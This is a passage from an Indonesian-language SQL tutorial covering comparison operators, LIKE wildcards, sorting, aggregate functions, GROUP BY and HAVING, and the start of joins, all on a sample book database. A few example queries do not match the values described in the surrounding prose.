<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">4 rows in set (0.01 sec)</pre>
</pre>
<h3><a name="_Toc466784041">Equality dan inequality</a></h3>
<p>Pada contoh sebelumnya kita melihat sebuah operator &lt; yang digunakan untuk membandingkan apakah operand sebelah kiri lebih kecil daripada operand sebelah kanan. Pada SQL, terdapat operator equality dan inequality lain yaitu:</p>
<p>Tabel 5 Operator equality dan inequality</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="114" valign="top"><strong>Operator</strong></td>
<td width="336" valign="top"><strong>Guna</strong></td>
</tr>
<tr>
<td width="114" valign="top">=</td>
<td width="336" valign="top">operand kiri sama dengan operand kanan</td>
</tr>
<tr>
<td width="114" valign="top">&lt;&gt; atau !=</td>
<td width="336" valign="top">operand kiri tidak sama dengan operand kanan</td>
</tr>
<tr>
<td width="114" valign="top">&gt;=</td>
<td width="336" valign="top">operand kiri lebih besar atau sama dengan operand kanan</td>
</tr>
<tr>
<td width="114" valign="top">&lt;=</td>
<td width="336" valign="top">operand kiri lebih kecil atau sama dengan operand kanan</td>
</tr>
</tbody>
</table>
<h3><a name="_Toc466784042">Operator logic AND dan OR</a></h3>
<p>Operator ini digunakan untuk menggabungkan dua atau lebih kondisi. Misalnya untuk melihat buku yang berjenis “Database” harganya kurang dari $3 , dapat anda gunakan query berikut ini</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, type, price</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE type = ‘DATABASE’ AND price &lt; 50</pre>
</pre>
<p>Hasilnya adalah</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| title                     | price |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Oracle PL/SQL Programming | 42    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Database Developer        | 8     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">2 rows in set (0.01 sec)</pre>
</pre>
<h3><a name="_Toc466784043">Between</a></h3>
<p>Keyword BETWEEN dapat anda gunakan untuk membatasi suatu kolom berada pada suatu batas nilai tertentu. Misalnya untuk mencari buku yang harganya berkisar antara $2 hingga $5, dapat anda gunakan query:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, price, type</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE price BETWEEN 30 AND 100</pre>
</pre>
<p>Hasilnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------+-------+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| title                     | price | type     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------+-------+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Oracle PL/SQL Programming | 42    | DATABASE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Oracle PL/SQL Programming | 62    | DATABASE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Oracle Performance Tuning | 83    | DATABASE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------+-------+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">3 rows in set (0.01 sec)</pre>
</pre>
<h3><a name="_Toc466784044">Like</a></h3>
<p>Keyword LIKE digunakan u ntuk mencari data yang memiliki pola tertentu. Misalnya untuk mencari buku yang judulnya mengandung kata UNIX, dapat anda gunakan query;</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, price</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE title LIKE ‘%windows%’</pre>
</pre>
<p>Hasilnya adalah</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| title                           | price |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Connectic Quick Cam <span style="color: #0000ff">for</span> Windows | 25    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Borland Delphi <span style="color: #0000ff">for</span> Windows      | 55    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+---------------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">2 rows in set (0.01 sec)</pre>
</pre>
<p>Pada keyword LIKE dapat anda gunakan tanda-tanda khusus (wildcard) sebagai berikut ini:</p>
<p>Tabel 6 Wildcard pada keyword LIKE</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="72" valign="top"><strong>Tanda</strong></td>
<td width="282" valign="top"><strong>Arti</strong></td>
</tr>
<tr>
<td width="72" valign="top">%</td>
<td width="282" valign="top">Sembarang nol atau lebih karakter</td>
</tr>
<tr>
<td width="72" valign="top">_</td>
<td width="282" valign="top">Sembarang satu karaker</td>
</tr>
<tr>
<td width="72" valign="top">[ ]</td>
<td width="282" valign="top">Sembarang karakter yang berada dalam tanda kurung siku</td>
</tr>
</tbody>
</table>
<p>Misalnya untuk mencari judul buku yang berawalan dengan huruf A, maka digunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE title LIKE ‘A%’</pre>
</pre>
<p>Untuk mencari judul buku yang memiliki kode BU1234, BI1234, dan BW1234, maka digunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE title like ‘B[UIW]1234’</pre>
</pre>
<h3><a name="_Toc466784045">Men-sortir data</a></h3>
<p>Hasil query dapat anda sortir sesuai dengan kebutuhan anda dengan keyword ORDER BY. Misalnya untuk menampilkan daftar judul buku sesuai dengan urutan abjad, gunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, price</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">ORDER BY title</pre>
</pre>
<p>Untuk men-sortir dengan urutan terbalik, gunakan keyowrd tambahan DESC, seperti ini</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, price</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">ORDER BY title DESC</pre>
</pre>
<p>Anda dapat mensortir lebih dari satu kolom , misalnya query berikut ini</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, price</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">ORDER BY title, price</pre>
</pre>
<p>akan menghasilkan tampilan daftar buku yang terurut berdasarkan abjad dan harganya.</p>
<h3><a name="_Toc466784046">Agregate Function</a></h3>
<p>Selain dari pengolahan record-record, SQL juga menyediakan fungsi-fungsi yang dapat digunakan untuk menghitung hasil tampilan. Fungsi-fungsi itu adalah seperti berikut ini.</p>
<p>Tabel 7 Fungsi-fungsi agregate</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="108" valign="top"><strong>Nama Fungsi</strong></td>
<td width="282" valign="top"><strong>Guna</strong></td>
</tr>
<tr>
<td width="108" valign="top">sum()</td>
<td width="282" valign="top">menghitung jumlah ekspesi numerik</td>
</tr>
<tr>
<td width="108" valign="top">avg()</td>
<td width="282" valign="top">menghiting rata-rata ekspesi numerik</td>
</tr>
<tr>
<td width="108" valign="top">min()</td>
<td width="282" valign="top">menghitung angka minimal ekspesi numerik</td>
</tr>
<tr>
<td width="108" valign="top">max()</td>
<td width="282" valign="top">menghitung angka maksimal ekspesi numerik</td>
</tr>
<tr>
<td width="108" valign="top">count()</td>
<td width="282" valign="top">menghitung jumlah non-null ekspesi</td>
</tr>
<tr>
<td width="108" valign="top">count(*)</td>
<td width="282" valign="top">menghitung jumlah baris</td>
</tr>
</tbody>
</table>
<p>Misalnya untuk mengetahui harga rata-rata dari buku yang ada di daftar yang anda miliki, gunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT avg(price)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
</pre>
<p>Hasilnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| avg(price) |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 49.1149    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">1 row in set (0.00 sec)</pre>
</pre>
<p>Untuk mengetahui jumlah buku yang ada pada daftar, dapat anda gunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT count(*)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
</pre>
<p>Hasilnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| count(*) |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 174      |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">1 row in set (0.00 sec)</pre>
</pre>
<h3><a name="_Toc466784047">Sub agregate dengan Group By</a></h3>
<p>Fungsi count(*) dapat digunakan untuk mengetahui jumlah seluruh buku yang anda miliki. Untuk mengetahui jumlah buku dan harga rata-rata setiap jenis buku, anda harus menggunakan GROUP BY yang dikombinasikan dengan sum() dan avg() seperti berikut ini.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT type, AVG(price) , SUM(price)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">GROUP BY type</pre>
</pre>
<p>Hasilnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| type                 | avg(price) | sum(price) |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| COMMUNICATION        | 76.8000    | 384        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| COMPUTER ENGINEERING | 28.6667    | 86         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| DATABASE             | 48.7500    | 195        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| ELECTRONICS          | 50.6667    | 608        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| ENVIRONMENT          | 41.3636    | 455        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| FINANCE              | 51.0000    | 357        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INFOSYS              | 57.5455    | 633        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INTERNET             | 55.5556    | 1000       |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INVESTMENT           | 41.5000    | 166        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MANAGEMENT           | 73.5000    | 147        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MARKETING            | 60.6667    | 182        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MISC                 | 38.3333    | 115        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| NETWORKING           | 15.5000    | 31         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PROGRAMMING          | 47.7727    | 1051       |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| QUALITY ASSURANCE    | 80.0000    | 80         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| SOFTWARE             | 37.1429    | 260        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX                 | 45.5849    | 2416       |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| USER'S MANUAL        | 63.3333    | 380        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">18 rows in set (0.02 sec)</pre>
</pre>
<h3><a name="_Toc466784048">Mem-filter hasil agregate function</a></h3>
<p>Untuk mem-filter tampilan setelah dilakukan fungsi agregate, digunakan keyword HAVING. Misalnya untuk menampilkan jenis kategori yang harga rata-ratanya di atas $60, digunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT type, AVG(price)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">GROUP BY type</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">HAVING AVG(price)&gt;60</pre>
</pre>
<p>Hasilnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| type              | avg(price) |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| COMMUNICATION     | 76.8000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MANAGEMENT        | 73.5000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MARKETING         | 60.6667    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| QUALITY ASSURANCE | 80.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| USER'S MANUAL     | 63.3333    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">5 rows in set (0.02 sec)</pre>
</pre>
<p>Bandingkan jika anda menggunakan query</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT type, AVG(price)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE price &gt; 60</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">GROUP BY type</pre>
</pre>
<p>dimana proses filtering terjadi sebelum dirata-ratakan, artinya yang dirata-ratakan adalah buku yang memiliki harga di atas $60, maka hasilnya adalah</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| type              | avg(price) |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| COMMUNICATION     | 76.8000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| DATABASE          | 72.5000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| ELECTRONICS       | 74.2000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| ENVIRONMENT       | 78.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| FINANCE           | 78.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INFOSYS           | 76.5000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INTERNET          | 75.1111    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INVESTMENT        | 84.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MANAGEMENT        | 73.5000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MARKETING         | 72.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MISC              | 63.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PROGRAMMING       | 74.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| QUALITY ASSURANCE | 80.0000    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX              | 79.8421    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| USER'S MANUAL     | 77.2500    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------------------+------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">15 rows in set (0.02 sec)</pre>
</pre>
<h3><a name="_Toc466784049">Join</a></h3>
<p>Pada contoh-contoh sebelumnya kita hanya menggunakan sat tabel pada satu saat. Umumnya aplikasi dengan SQL server melakukan query dengan menggunakan lebih dari satu tabel pada satu saat.</p>
<p>Sekarang kita akan mencoba untuk melakukan query dengan tabel <strong>publishers</strong> digabungkan dengan tabel <strong>titles</strong>, dimana kita akan menampilkan daftar buku dan penerbitnya dalam satu query. Untuk hal ini kita memerlukan informasi baik dari tabel <strong>titles</strong> maupun tabel <strong>publishers</strong>. Proses penggabungan lebih dari satu tabel ini disebut <em>join</em>, sedangkan hubungan keduanya disebut <em>relation</em>.</p>
<p>Untuk melakukan join, tabel-tabel itu harus memiliki <em>common key </em>atau <em>join key </em>yang menentukan bagaimana baris-baris antar kedua tabel tersebut saling berhubungan. Contohnya pada tabel <strong>publishers</strong> dan <strong>titles</strong>, kedua tabel ini saling berbagi <em>common key</em> yang bernama <strong>pub_id</strong>. Pada tabel <strong>publishers</strong>, <strong>pub_id</strong> secara unik mengindetifikasi suatu baris pada tabel itu. Pada tabel <strong>titles</strong>, suatu nilai <strong>pub_id</strong> secara unik mengidentifikasi suatu baris pada tabel <strong>publishers</strong>. Ini berarti bahwa judul buku dengan <strong>pub_id</strong> ini diterbitkan oleh penerbit yang tercantum pada baris yang ditunjukkan oleh <strong>pub_id</strong> pada tabel <strong>publishers</strong>.</p>
<p>Secara diagram, hubungan kedua tabel tersebut dapat digambarkan sebagai berikut:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image0041.gif"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Gambar 2 Relasi tabel publishers dan titles" src="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image004_thumb1.gif" border="0" alt="Gambar 2 Relasi tabel publishers dan titles" width="500" height="275" /></a></p>
<p>Gambar 2 Relasi tabel publishers dan titles</p>
